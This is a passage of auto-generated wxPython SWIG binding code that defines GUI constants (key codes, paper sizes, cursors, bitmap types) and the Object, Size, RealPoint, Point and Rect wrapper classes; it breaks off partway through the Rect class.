_core_.WXK_NUMPAD_NEXT\nWXK_NUMPAD_PAGEDOWN = _core_.WXK_NUMPAD_PAGEDOWN\nWXK_NUMPAD_END = _core_.WXK_NUMPAD_END\nWXK_NUMPAD_BEGIN = _core_.WXK_NUMPAD_BEGIN\nWXK_NUMPAD_INSERT = _core_.WXK_NUMPAD_INSERT\nWXK_NUMPAD_DELETE = _core_.WXK_NUMPAD_DELETE\nWXK_NUMPAD_EQUAL = _core_.WXK_NUMPAD_EQUAL\nWXK_NUMPAD_MULTIPLY = _core_.WXK_NUMPAD_MULTIPLY\nWXK_NUMPAD_ADD = _core_.WXK_NUMPAD_ADD\nWXK_NUMPAD_SEPARATOR = _core_.WXK_NUMPAD_SEPARATOR\nWXK_NUMPAD_SUBTRACT = _core_.WXK_NUMPAD_SUBTRACT\nWXK_NUMPAD_DECIMAL = _core_.WXK_NUMPAD_DECIMAL\nWXK_NUMPAD_DIVIDE = _core_.WXK_NUMPAD_DIVIDE\nWXK_WINDOWS_LEFT = _core_.WXK_WINDOWS_LEFT\nWXK_WINDOWS_RIGHT = _core_.WXK_WINDOWS_RIGHT\nWXK_WINDOWS_MENU = _core_.WXK_WINDOWS_MENU\nWXK_COMMAND = _core_.WXK_COMMAND\nWXK_SPECIAL1 = _core_.WXK_SPECIAL1\nWXK_SPECIAL2 = _core_.WXK_SPECIAL2\nWXK_SPECIAL3 = _core_.WXK_SPECIAL3\nWXK_SPECIAL4 = _core_.WXK_SPECIAL4\nWXK_SPECIAL5 = _core_.WXK_SPECIAL5\nWXK_SPECIAL6 = _core_.WXK_SPECIAL6\nWXK_SPECIAL7 = _core_.WXK_SPECIAL7\nWXK_SPECIAL8 = _core_.WXK_SPECIAL8\nWXK_SPECIAL9 = _core_.WXK_SPECIAL9\nWXK_SPECIAL10 = _core_.WXK_SPECIAL10\nWXK_SPECIAL11 = _core_.WXK_SPECIAL11\nWXK_SPECIAL12 = _core_.WXK_SPECIAL12\nWXK_SPECIAL13 = _core_.WXK_SPECIAL13\nWXK_SPECIAL14 = _core_.WXK_SPECIAL14\nWXK_SPECIAL15 = _core_.WXK_SPECIAL15\nWXK_SPECIAL16 = _core_.WXK_SPECIAL16\nWXK_SPECIAL17 = _core_.WXK_SPECIAL17\nWXK_SPECIAL18 = _core_.WXK_SPECIAL18\nWXK_SPECIAL19 = _core_.WXK_SPECIAL19\nWXK_SPECIAL20 = _core_.WXK_SPECIAL20\nPAPER_NONE = _core_.PAPER_NONE\nPAPER_LETTER = _core_.PAPER_LETTER\nPAPER_LEGAL = _core_.PAPER_LEGAL\nPAPER_A4 = _core_.PAPER_A4\nPAPER_CSHEET = _core_.PAPER_CSHEET\nPAPER_DSHEET = _core_.PAPER_DSHEET\nPAPER_ESHEET = _core_.PAPER_ESHEET\nPAPER_LETTERSMALL = _core_.PAPER_LETTERSMALL\nPAPER_TABLOID = _core_.PAPER_TABLOID\nPAPER_LEDGER = _core_.PAPER_LEDGER\nPAPER_STATEMENT = _core_.PAPER_STATEMENT\nPAPER_EXECUTIVE = _core_.PAPER_EXECUTIVE\nPAPER_A3 = _core_.PAPER_A3\nPAPER_A4SMALL = _core_.PAPER_A4SMALL\nPAPER_A5 = _core_.PAPER_A5\nPAPER_B4 = _core_.PAPER_B4\nPAPER_B5 = _core_.PAPER_B5\nPAPER_FOLIO = _core_.PAPER_FOLIO\nPAPER_QUARTO = _core_.PAPER_QUARTO\nPAPER_10X14 = _core_.PAPER_10X14\nPAPER_11X17 = _core_.PAPER_11X17\nPAPER_NOTE = _core_.PAPER_NOTE\nPAPER_ENV_9 = _core_.PAPER_ENV_9\nPAPER_ENV_10 = _core_.PAPER_ENV_10\nPAPER_ENV_11 = _core_.PAPER_ENV_11\nPAPER_ENV_12 = _core_.PAPER_ENV_12\nPAPER_ENV_14 = _core_.PAPER_ENV_14\nPAPER_ENV_DL = _core_.PAPER_ENV_DL\nPAPER_ENV_C5 = _core_.PAPER_ENV_C5\nPAPER_ENV_C3 = _core_.PAPER_ENV_C3\nPAPER_ENV_C4 = _core_.PAPER_ENV_C4\nPAPER_ENV_C6 = _core_.PAPER_ENV_C6\nPAPER_ENV_C65 = _core_.PAPER_ENV_C65\nPAPER_ENV_B4 = _core_.PAPER_ENV_B4\nPAPER_ENV_B5 = _core_.PAPER_ENV_B5\nPAPER_ENV_B6 = _core_.PAPER_ENV_B6\nPAPER_ENV_ITALY = _core_.PAPER_ENV_ITALY\nPAPER_ENV_MONARCH = _core_.PAPER_ENV_MONARCH\nPAPER_ENV_PERSONAL = _core_.PAPER_ENV_PERSONAL\nPAPER_FANFOLD_US = _core_.PAPER_FANFOLD_US\nPAPER_FANFOLD_STD_GERMAN = _core_.PAPER_FANFOLD_STD_GERMAN\nPAPER_FANFOLD_LGL_GERMAN = _core_.PAPER_FANFOLD_LGL_GERMAN\nPAPER_ISO_B4 = _core_.PAPER_ISO_B4\nPAPER_JAPANESE_POSTCARD = _core_.PAPER_JAPANESE_POSTCARD\nPAPER_9X11 = _core_.PAPER_9X11\nPAPER_10X11 = _core_.PAPER_10X11\nPAPER_15X11 = _core_.PAPER_15X11\nPAPER_ENV_INVITE = _core_.PAPER_ENV_INVITE\nPAPER_LETTER_EXTRA = _core_.PAPER_LETTER_EXTRA\nPAPER_LEGAL_EXTRA = _core_.PAPER_LEGAL_EXTRA\nPAPER_TABLOID_EXTRA = _core_.PAPER_TABLOID_EXTRA\nPAPER_A4_EXTRA = _core_.PAPER_A4_EXTRA\nPAPER_LETTER_TRANSVERSE = _core_.PAPER_LETTER_TRANSVERSE\nPAPER_A4_TRANSVERSE = _core_.PAPER_A4_TRANSVERSE\nPAPER_LETTER_EXTRA_TRANSVERSE = _core_.PAPER_LETTER_EXTRA_TRANSVERSE\nPAPER_A_PLUS = _core_.PAPER_A_PLUS\nPAPER_B_PLUS = _core_.PAPER_B_PLUS\nPAPER_LETTER_PLUS = _core_.PAPER_LETTER_PLUS\nPAPER_A4_PLUS = _core_.PAPER_A4_PLUS\nPAPER_A5_TRANSVERSE = _core_.PAPER_A5_TRANSVERSE\nPAPER_B5_TRANSVERSE = _core_.PAPER_B5_TRANSVERSE\nPAPER_A3_EXTRA = _core_.PAPER_A3_EXTRA\nPAPER_A5_EXTRA = _core_.PAPER_A5_EXTRA\nPAPER_B5_EXTRA = _core_.PAPER_B5_EXTRA\nPAPER_A2 = _core_.PAPER_A2\nPAPER_A3_TRANSVERSE = _core_.PAPER_A3_TRANSVERSE\nPAPER_A3_EXTRA_TRANSVERSE = _core_.PAPER_A3_EXTRA_TRANSVERSE\nPAPER_DBL_JAPANESE_POSTCARD = _core_.PAPER_DBL_JAPANESE_POSTCARD\nPAPER_A6 = _core_.PAPER_A6\nPAPER_JENV_KAKU2 = _core_.PAPER_JENV_KAKU2\nPAPER_JENV_KAKU3 = _core_.PAPER_JENV_KAKU3\nPAPER_JENV_CHOU3 = _core_.PAPER_JENV_CHOU3\nPAPER_JENV_CHOU4 = _core_.PAPER_JENV_CHOU4\nPAPER_LETTER_ROTATED = _core_.PAPER_LETTER_ROTATED\nPAPER_A3_ROTATED = _core_.PAPER_A3_ROTATED\nPAPER_A4_ROTATED = _core_.PAPER_A4_ROTATED\nPAPER_A5_ROTATED = _core_.PAPER_A5_ROTATED\nPAPER_B4_JIS_ROTATED = _core_.PAPER_B4_JIS_ROTATED\nPAPER_B5_JIS_ROTATED = _core_.PAPER_B5_JIS_ROTATED\nPAPER_JAPANESE_POSTCARD_ROTATED = _core_.PAPER_JAPANESE_POSTCARD_ROTATED\nPAPER_DBL_JAPANESE_POSTCARD_ROTATED = _core_.PAPER_DBL_JAPANESE_POSTCARD_ROTATED\nPAPER_A6_ROTATED = _core_.PAPER_A6_ROTATED\nPAPER_JENV_KAKU2_ROTATED = _core_.PAPER_JENV_KAKU2_ROTATED\nPAPER_JENV_KAKU3_ROTATED = _core_.PAPER_JENV_KAKU3_ROTATED\nPAPER_JENV_CHOU3_ROTATED = _core_.PAPER_JENV_CHOU3_ROTATED\nPAPER_JENV_CHOU4_ROTATED = _core_.PAPER_JENV_CHOU4_ROTATED\nPAPER_B6_JIS = _core_.PAPER_B6_JIS\nPAPER_B6_JIS_ROTATED = _core_.PAPER_B6_JIS_ROTATED\nPAPER_12X11 = _core_.PAPER_12X11\nPAPER_JENV_YOU4 = _core_.PAPER_JENV_YOU4\nPAPER_JENV_YOU4_ROTATED = _core_.PAPER_JENV_YOU4_ROTATED\nPAPER_P16K = _core_.PAPER_P16K\nPAPER_P32K = _core_.PAPER_P32K\nPAPER_P32KBIG = _core_.PAPER_P32KBIG\nPAPER_PENV_1 = _core_.PAPER_PENV_1\nPAPER_PENV_2 = _core_.PAPER_PENV_2\nPAPER_PENV_3 = _core_.PAPER_PENV_3\nPAPER_PENV_4 = _core_.PAPER_PENV_4\nPAPER_PENV_5 = _core_.PAPER_PENV_5\nPAPER_PENV_6 = _core_.PAPER_PENV_6\nPAPER_PENV_7 = _core_.PAPER_PENV_7\nPAPER_PENV_8 = _core_.PAPER_PENV_8\nPAPER_PENV_9 = _core_.PAPER_PENV_9\nPAPER_PENV_10 = _core_.PAPER_PENV_10\nPAPER_P16K_ROTATED = _core_.PAPER_P16K_ROTATED\nPAPER_P32K_ROTATED = _core_.PAPER_P32K_ROTATED\nPAPER_P32KBIG_ROTATED = _core_.PAPER_P32KBIG_ROTATED\nPAPER_PENV_1_ROTATED = _core_.PAPER_PENV_1_ROTATED\nPAPER_PENV_2_ROTATED = _core_.PAPER_PENV_2_ROTATED\nPAPER_PENV_3_ROTATED = _core_.PAPER_PENV_3_ROTATED\nPAPER_PENV_4_ROTATED = _core_.PAPER_PENV_4_ROTATED\nPAPER_PENV_5_ROTATED = _core_.PAPER_PENV_5_ROTATED\nPAPER_PENV_6_ROTATED = _core_.PAPER_PENV_6_ROTATED\nPAPER_PENV_7_ROTATED = _core_.PAPER_PENV_7_ROTATED\nPAPER_PENV_8_ROTATED = _core_.PAPER_PENV_8_ROTATED\nPAPER_PENV_9_ROTATED = _core_.PAPER_PENV_9_ROTATED\nPAPER_PENV_10_ROTATED = _core_.PAPER_PENV_10_ROTATED\nDUPLEX_SIMPLEX = _core_.DUPLEX_SIMPLEX\nDUPLEX_HORIZONTAL = _core_.DUPLEX_HORIZONTAL\nDUPLEX_VERTICAL = _core_.DUPLEX_VERTICAL\nITEM_SEPARATOR = _core_.ITEM_SEPARATOR\nITEM_NORMAL = _core_.ITEM_NORMAL\nITEM_CHECK = _core_.ITEM_CHECK\nITEM_RADIO = _core_.ITEM_RADIO\nITEM_MAX = _core_.ITEM_MAX\nHT_NOWHERE = _core_.HT_NOWHERE\nHT_SCROLLBAR_FIRST = _core_.HT_SCROLLBAR_FIRST\nHT_SCROLLBAR_ARROW_LINE_1 = _core_.HT_SCROLLBAR_ARROW_LINE_1\nHT_SCROLLBAR_ARROW_LINE_2 = _core_.HT_SCROLLBAR_ARROW_LINE_2\nHT_SCROLLBAR_ARROW_PAGE_1 = _core_.HT_SCROLLBAR_ARROW_PAGE_1\nHT_SCROLLBAR_ARROW_PAGE_2 = _core_.HT_SCROLLBAR_ARROW_PAGE_2\nHT_SCROLLBAR_THUMB = _core_.HT_SCROLLBAR_THUMB\nHT_SCROLLBAR_BAR_1 = _core_.HT_SCROLLBAR_BAR_1\nHT_SCROLLBAR_BAR_2 = _core_.HT_SCROLLBAR_BAR_2\nHT_SCROLLBAR_LAST = _core_.HT_SCROLLBAR_LAST\nHT_WINDOW_OUTSIDE = _core_.HT_WINDOW_OUTSIDE\nHT_WINDOW_INSIDE = _core_.HT_WINDOW_INSIDE\nHT_WINDOW_VERT_SCROLLBAR = _core_.HT_WINDOW_VERT_SCROLLBAR\nHT_WINDOW_HORZ_SCROLLBAR = _core_.HT_WINDOW_HORZ_SCROLLBAR\nHT_WINDOW_CORNER = _core_.HT_WINDOW_CORNER\nHT_MAX = _core_.HT_MAX\nMOD_NONE = _core_.MOD_NONE\nMOD_ALT = _core_.MOD_ALT\nMOD_CONTROL = _core_.MOD_CONTROL\nMOD_ALTGR = _core_.MOD_ALTGR\nMOD_SHIFT = _core_.MOD_SHIFT\nMOD_META = _core_.MOD_META\nMOD_WIN = _core_.MOD_WIN\nMOD_CMD = _core_.MOD_CMD\nMOD_ALL = _core_.MOD_ALL\nUPDATE_UI_NONE = _core_.UPDATE_UI_NONE\nUPDATE_UI_RECURSE = _core_.UPDATE_UI_RECURSE\nUPDATE_UI_FROMIDLE = _core_.UPDATE_UI_FROMIDLE\nNOTIFY_NONE = _core_.NOTIFY_NONE\nNOTIFY_ONCE = _core_.NOTIFY_ONCE\nNOTIFY_REPEAT = _core_.NOTIFY_REPEAT\nLayout_Default = _core_.Layout_Default\nLayout_LeftToRight = _core_.Layout_LeftToRight\nLayout_RightToLeft = _core_.Layout_RightToLeft\n#---------------------------------------------------------------------------\n\nclass Object(object):\n \"\"\"\n The base class for most wx objects, although in wxPython not\n much functionality is needed nor exposed.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetClassName(*args, **kwargs):\n \"\"\"\n GetClassName(self) -> String\n\n Returns the class name of the C++ class using wxRTTI.\n \"\"\"\n return _core_.Object_GetClassName(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"\n Destroy(self)\n\n Deletes the C++ object this Python object is a proxy for.\n \"\"\"\n args[0].this.own(False)\n return _core_.Object_Destroy(*args, **kwargs)\n\n def IsSameAs(*args, **kwargs):\n \"\"\"\n IsSameAs(self, Object p) -> bool\n\n For wx.Objects that use C++ reference counting internally, this method\n can be used to determine if two objects are referencing the same data\n object.\n \"\"\"\n return _core_.Object_IsSameAs(*args, **kwargs)\n\n ClassName = property(GetClassName,doc=\"See `GetClassName`\") \n_core_.Object_swigregister(Object)\n_wxPySetDictionary = _core_._wxPySetDictionary\ncvar = _core_.cvar\nEmptyString = cvar.EmptyString\n\n#---------------------------------------------------------------------------\n\nBITMAP_TYPE_INVALID = _core_.BITMAP_TYPE_INVALID\nBITMAP_TYPE_BMP = _core_.BITMAP_TYPE_BMP\nBITMAP_TYPE_ICO = _core_.BITMAP_TYPE_ICO\nBITMAP_TYPE_CUR = _core_.BITMAP_TYPE_CUR\nBITMAP_TYPE_XBM = _core_.BITMAP_TYPE_XBM\nBITMAP_TYPE_XBM_DATA = _core_.BITMAP_TYPE_XBM_DATA\nBITMAP_TYPE_XPM = _core_.BITMAP_TYPE_XPM\nBITMAP_TYPE_XPM_DATA = _core_.BITMAP_TYPE_XPM_DATA\nBITMAP_TYPE_TIF = _core_.BITMAP_TYPE_TIF\nBITMAP_TYPE_GIF = _core_.BITMAP_TYPE_GIF\nBITMAP_TYPE_PNG = _core_.BITMAP_TYPE_PNG\nBITMAP_TYPE_JPEG = _core_.BITMAP_TYPE_JPEG\nBITMAP_TYPE_PNM = _core_.BITMAP_TYPE_PNM\nBITMAP_TYPE_PCX = _core_.BITMAP_TYPE_PCX\nBITMAP_TYPE_PICT = _core_.BITMAP_TYPE_PICT\nBITMAP_TYPE_ICON = _core_.BITMAP_TYPE_ICON\nBITMAP_TYPE_ANI = _core_.BITMAP_TYPE_ANI\nBITMAP_TYPE_IFF = _core_.BITMAP_TYPE_IFF\nBITMAP_TYPE_TGA = _core_.BITMAP_TYPE_TGA\nBITMAP_TYPE_MACCURSOR = _core_.BITMAP_TYPE_MACCURSOR\nBITMAP_TYPE_ANY = _core_.BITMAP_TYPE_ANY\nCURSOR_NONE = _core_.CURSOR_NONE\nCURSOR_ARROW = _core_.CURSOR_ARROW\nCURSOR_RIGHT_ARROW = _core_.CURSOR_RIGHT_ARROW\nCURSOR_BULLSEYE = _core_.CURSOR_BULLSEYE\nCURSOR_CHAR = _core_.CURSOR_CHAR\nCURSOR_CROSS = _core_.CURSOR_CROSS\nCURSOR_HAND = _core_.CURSOR_HAND\nCURSOR_IBEAM = _core_.CURSOR_IBEAM\nCURSOR_LEFT_BUTTON = _core_.CURSOR_LEFT_BUTTON\nCURSOR_MAGNIFIER = _core_.CURSOR_MAGNIFIER\nCURSOR_MIDDLE_BUTTON = _core_.CURSOR_MIDDLE_BUTTON\nCURSOR_NO_ENTRY = _core_.CURSOR_NO_ENTRY\nCURSOR_PAINT_BRUSH = _core_.CURSOR_PAINT_BRUSH\nCURSOR_PENCIL = _core_.CURSOR_PENCIL\nCURSOR_POINT_LEFT = _core_.CURSOR_POINT_LEFT\nCURSOR_POINT_RIGHT = _core_.CURSOR_POINT_RIGHT\nCURSOR_QUESTION_ARROW = _core_.CURSOR_QUESTION_ARROW\nCURSOR_RIGHT_BUTTON = _core_.CURSOR_RIGHT_BUTTON\nCURSOR_SIZENESW = _core_.CURSOR_SIZENESW\nCURSOR_SIZENS = _core_.CURSOR_SIZENS\nCURSOR_SIZENWSE = _core_.CURSOR_SIZENWSE\nCURSOR_SIZEWE = _core_.CURSOR_SIZEWE\nCURSOR_SIZING = _core_.CURSOR_SIZING\nCURSOR_SPRAYCAN = _core_.CURSOR_SPRAYCAN\nCURSOR_WAIT = _core_.CURSOR_WAIT\nCURSOR_WATCH = _core_.CURSOR_WATCH\nCURSOR_BLANK = _core_.CURSOR_BLANK\nCURSOR_DEFAULT = _core_.CURSOR_DEFAULT\nCURSOR_COPY_ARROW = _core_.CURSOR_COPY_ARROW\nCURSOR_ARROWWAIT = _core_.CURSOR_ARROWWAIT\nCURSOR_MAX = _core_.CURSOR_MAX\n#---------------------------------------------------------------------------\n\nclass Size(object):\n \"\"\"\n wx.Size is a useful data structure used to represent the size of\n something. It simply contains integer width and height\n properties. In most places in wxPython where a wx.Size is\n expected a (width, height) tuple can be used instead.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n width = property(_core_.Size_width_get, _core_.Size_width_set)\n height = property(_core_.Size_height_get, _core_.Size_height_set)\n x = width; y = height \n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int w=0, int h=0) -> Size\n\n Creates a size object.\n \"\"\"\n _core_.Size_swiginit(self,_core_.new_Size(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Size\n __del__ = lambda self : None;\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.Size objects.\n \"\"\"\n return _core_.Size___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.Size objects.\n \"\"\"\n return _core_.Size___ne__(*args, **kwargs)\n\n def __add__(*args, **kwargs):\n \"\"\"\n __add__(self, Size sz) -> Size\n\n Add sz's proprties to this and return the result.\n \"\"\"\n return _core_.Size___add__(*args, **kwargs)\n\n def __sub__(*args, **kwargs):\n \"\"\"\n __sub__(self, Size sz) -> Size\n\n Subtract sz's properties from this and return the result.\n \"\"\"\n return _core_.Size___sub__(*args, **kwargs)\n\n def IncTo(*args, **kwargs):\n \"\"\"\n IncTo(self, Size sz)\n\n Increments this object so that both of its dimensions are not less\n than the corresponding dimensions of the size.\n \"\"\"\n return _core_.Size_IncTo(*args, **kwargs)\n\n def DecTo(*args, **kwargs):\n \"\"\"\n DecTo(self, Size sz)\n\n Decrements this object so that both of its dimensions are not greater\n than the corresponding dimensions of the size.\n \"\"\"\n return _core_.Size_DecTo(*args, **kwargs)\n\n def IncBy(*args, **kwargs):\n \"\"\"IncBy(self, int dx, int dy)\"\"\"\n return _core_.Size_IncBy(*args, **kwargs)\n\n def DecBy(*args, **kwargs):\n \"\"\"DecBy(self, int dx, int dy)\"\"\"\n return _core_.Size_DecBy(*args, **kwargs)\n\n def Scale(*args, **kwargs):\n \"\"\"\n Scale(self, float xscale, float yscale)\n\n Scales the dimensions of this object by the given factors.\n \"\"\"\n return _core_.Size_Scale(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, int w, int h)\n\n Set both width and height.\n \"\"\"\n return _core_.Size_Set(*args, **kwargs)\n\n def SetWidth(*args, **kwargs):\n \"\"\"SetWidth(self, int w)\"\"\"\n return _core_.Size_SetWidth(*args, **kwargs)\n\n def SetHeight(*args, **kwargs):\n \"\"\"SetHeight(self, int h)\"\"\"\n return _core_.Size_SetHeight(*args, **kwargs)\n\n def GetWidth(*args, **kwargs):\n \"\"\"GetWidth(self) -> int\"\"\"\n return _core_.Size_GetWidth(*args, **kwargs)\n\n def GetHeight(*args, **kwargs):\n \"\"\"GetHeight(self) -> int\"\"\"\n return _core_.Size_GetHeight(*args, **kwargs)\n\n def IsFullySpecified(*args, **kwargs):\n \"\"\"\n IsFullySpecified(self) -> bool\n\n Returns True if both components of the size are non-default values.\n \"\"\"\n return _core_.Size_IsFullySpecified(*args, **kwargs)\n\n def SetDefaults(*args, **kwargs):\n \"\"\"\n SetDefaults(self, Size size)\n\n Combine this size with the other one replacing the default components\n of this object (i.e. equal to -1) with those of the other.\n \"\"\"\n return _core_.Size_SetDefaults(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (width,height)\n\n Returns the width and height properties as a tuple.\n \"\"\"\n return _core_.Size_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.Size'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.width = val\n elif index == 1: self.height = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.Size, self.Get())\n\n_core_.Size_swigregister(Size)\n\n#---------------------------------------------------------------------------\n\nclass RealPoint(object):\n \"\"\"\n A data structure for representing a point or position with floating\n point x and y properties. In wxPython most places that expect a\n wx.RealPoint can also accept a (x,y) tuple.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n x = property(_core_.RealPoint_x_get, _core_.RealPoint_x_set)\n y = property(_core_.RealPoint_y_get, _core_.RealPoint_y_set)\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, double x=0.0, double y=0.0) -> RealPoint\n\n Create a wx.RealPoint object\n \"\"\"\n _core_.RealPoint_swiginit(self,_core_.new_RealPoint(*args, **kwargs))\n __swig_destroy__ = _core_.delete_RealPoint\n __del__ = lambda self : None;\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.RealPoint objects.\n \"\"\"\n return _core_.RealPoint___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.RealPoint objects.\n \"\"\"\n return _core_.RealPoint___ne__(*args, **kwargs)\n\n def __add__(*args, **kwargs):\n \"\"\"\n __add__(self, RealPoint pt) -> RealPoint\n\n Add pt's proprties to this and return the result.\n \"\"\"\n return _core_.RealPoint___add__(*args, **kwargs)\n\n def __sub__(*args, **kwargs):\n \"\"\"\n __sub__(self, RealPoint pt) -> RealPoint\n\n Subtract pt's proprties from this and return the result\n \"\"\"\n return _core_.RealPoint___sub__(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, double x, double y)\n\n Set both the x and y properties\n \"\"\"\n return _core_.RealPoint_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (x,y)\n\n Return the x and y properties as a tuple. \n \"\"\"\n return _core_.RealPoint_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.RealPoint'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.x = val\n elif index == 1: self.y = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0.0, 0.0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.RealPoint, self.Get())\n\n_core_.RealPoint_swigregister(RealPoint)\n\n#---------------------------------------------------------------------------\n\nclass Point(object):\n \"\"\"\n A data structure for representing a point or position with integer x\n and y properties. Most places in wxPython that expect a wx.Point can\n also accept a (x,y) tuple.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n x = property(_core_.Point_x_get, _core_.Point_x_set)\n y = property(_core_.Point_y_get, _core_.Point_y_set)\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int x=0, int y=0) -> Point\n\n Create a wx.Point object\n \"\"\"\n _core_.Point_swiginit(self,_core_.new_Point(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Point\n __del__ = lambda self : None;\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.Point objects.\n \"\"\"\n return _core_.Point___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.Point objects.\n \"\"\"\n return _core_.Point___ne__(*args, **kwargs)\n\n def __add__(*args, **kwargs):\n \"\"\"\n __add__(self, Point pt) -> Point\n\n Add pt's proprties to this and return the result.\n \"\"\"\n return _core_.Point___add__(*args, **kwargs)\n\n def __sub__(*args, **kwargs):\n \"\"\"\n __sub__(self, Point pt) -> Point\n\n Subtract pt's proprties from this and return the result\n \"\"\"\n return _core_.Point___sub__(*args, **kwargs)\n\n def __iadd__(*args, **kwargs):\n \"\"\"\n __iadd__(self, Point pt) -> Point\n\n Add pt to this object.\n \"\"\"\n return _core_.Point___iadd__(*args, **kwargs)\n\n def __isub__(*args, **kwargs):\n \"\"\"\n __isub__(self, Point pt) -> Point\n\n Subtract pt from this object.\n \"\"\"\n return _core_.Point___isub__(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, long x, long y)\n\n Set both the x and y properties\n \"\"\"\n return _core_.Point_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (x,y)\n\n Return the x and y properties as a tuple. \n \"\"\"\n return _core_.Point_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.Point'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.x = val\n elif index == 1: self.y = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.Point, self.Get())\n\n_core_.Point_swigregister(Point)\n\n#---------------------------------------------------------------------------\n\nclass Rect(object):\n \"\"\"\n A class for representing and manipulating rectangles. It has x, y,\n width and height properties. In wxPython most palces that expect a\n wx.Rect can also accept a (x,y,width,height) tuple.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int x=0, int y=0, int width=0, int height=0) -> Rect\n\n Create a new Rect object.\n \"\"\"\n _core_.Rect_swiginit(self,_core_.new_Rect(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Rect\n __del__ = lambda self : None;\n def GetX(*args, **kwargs):\n \"\"\"GetX(self) -> int\"\"\"\n return _core_.Rect_GetX(*args, **kwargs)\n\n def SetX(*args, **kwargs):\n \"\"\"SetX(self, int x)\"\"\"\n return _core_.Rect_SetX(*args, **kwargs)\n\n def GetY(*args, **kwargs):\n \"\"\"GetY(self) -> int\"\"\"\n return _core_.Rect_GetY(*args, **kwargs)\n\n def SetY(*args, **kwargs):\n \"\"\"SetY(self, int y)\"\"\"\n return _core_.Rect_SetY(*args, **kwargs)\n\n def GetWidth(*args, **kwargs):\n \"\"\"GetWidth(self) -> int\"\"\"\n return _core_.Rect_GetWidth(*args, **kwargs)\n\n def SetWidth(*args, **kwargs):\n \"\"\"SetWidth(self, int w)\"\"\"\n return _core_.Rect_SetWidth(*args, **kwargs)\n\n def GetHeight(*args, **kwargs):\n \"\"\"GetHeight(self) -> int\"\"\"\n return _core_.Rect_GetHeight(*args, **kwargs)\n\n def SetHeight(*args, **kwargs):\n \"\"\"SetHeight(self, int h)\"\"\"\n return _core_.Rect_SetHeight(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point\"\"\"\n return _core_.Rect_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, Point p)\"\"\"\n return _core_.Rect_SetPosition(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize(self) -> Size\"\"\"\n return _core_.Rect_GetSize(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, Size s)\"\"\"\n return _core_.Rect_SetSize(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _core_.Rect_IsEmpty(*args, **kwargs)\n\n def GetTopLeft(*args, **kwargs):\n \"\"\"GetTopLeft(self) -> Point\"\"\"\n return _core_.Rect_GetTopLeft(*args, **kwargs)\n\n def SetTopLeft(*args, **kwargs):\n \"\"\"SetTopLeft(self, Point p)\"\"\"\n return _core_.Rect_SetTopLeft(*args, **kwargs)\n\n def GetBottomRight(*args, **kwargs):\n 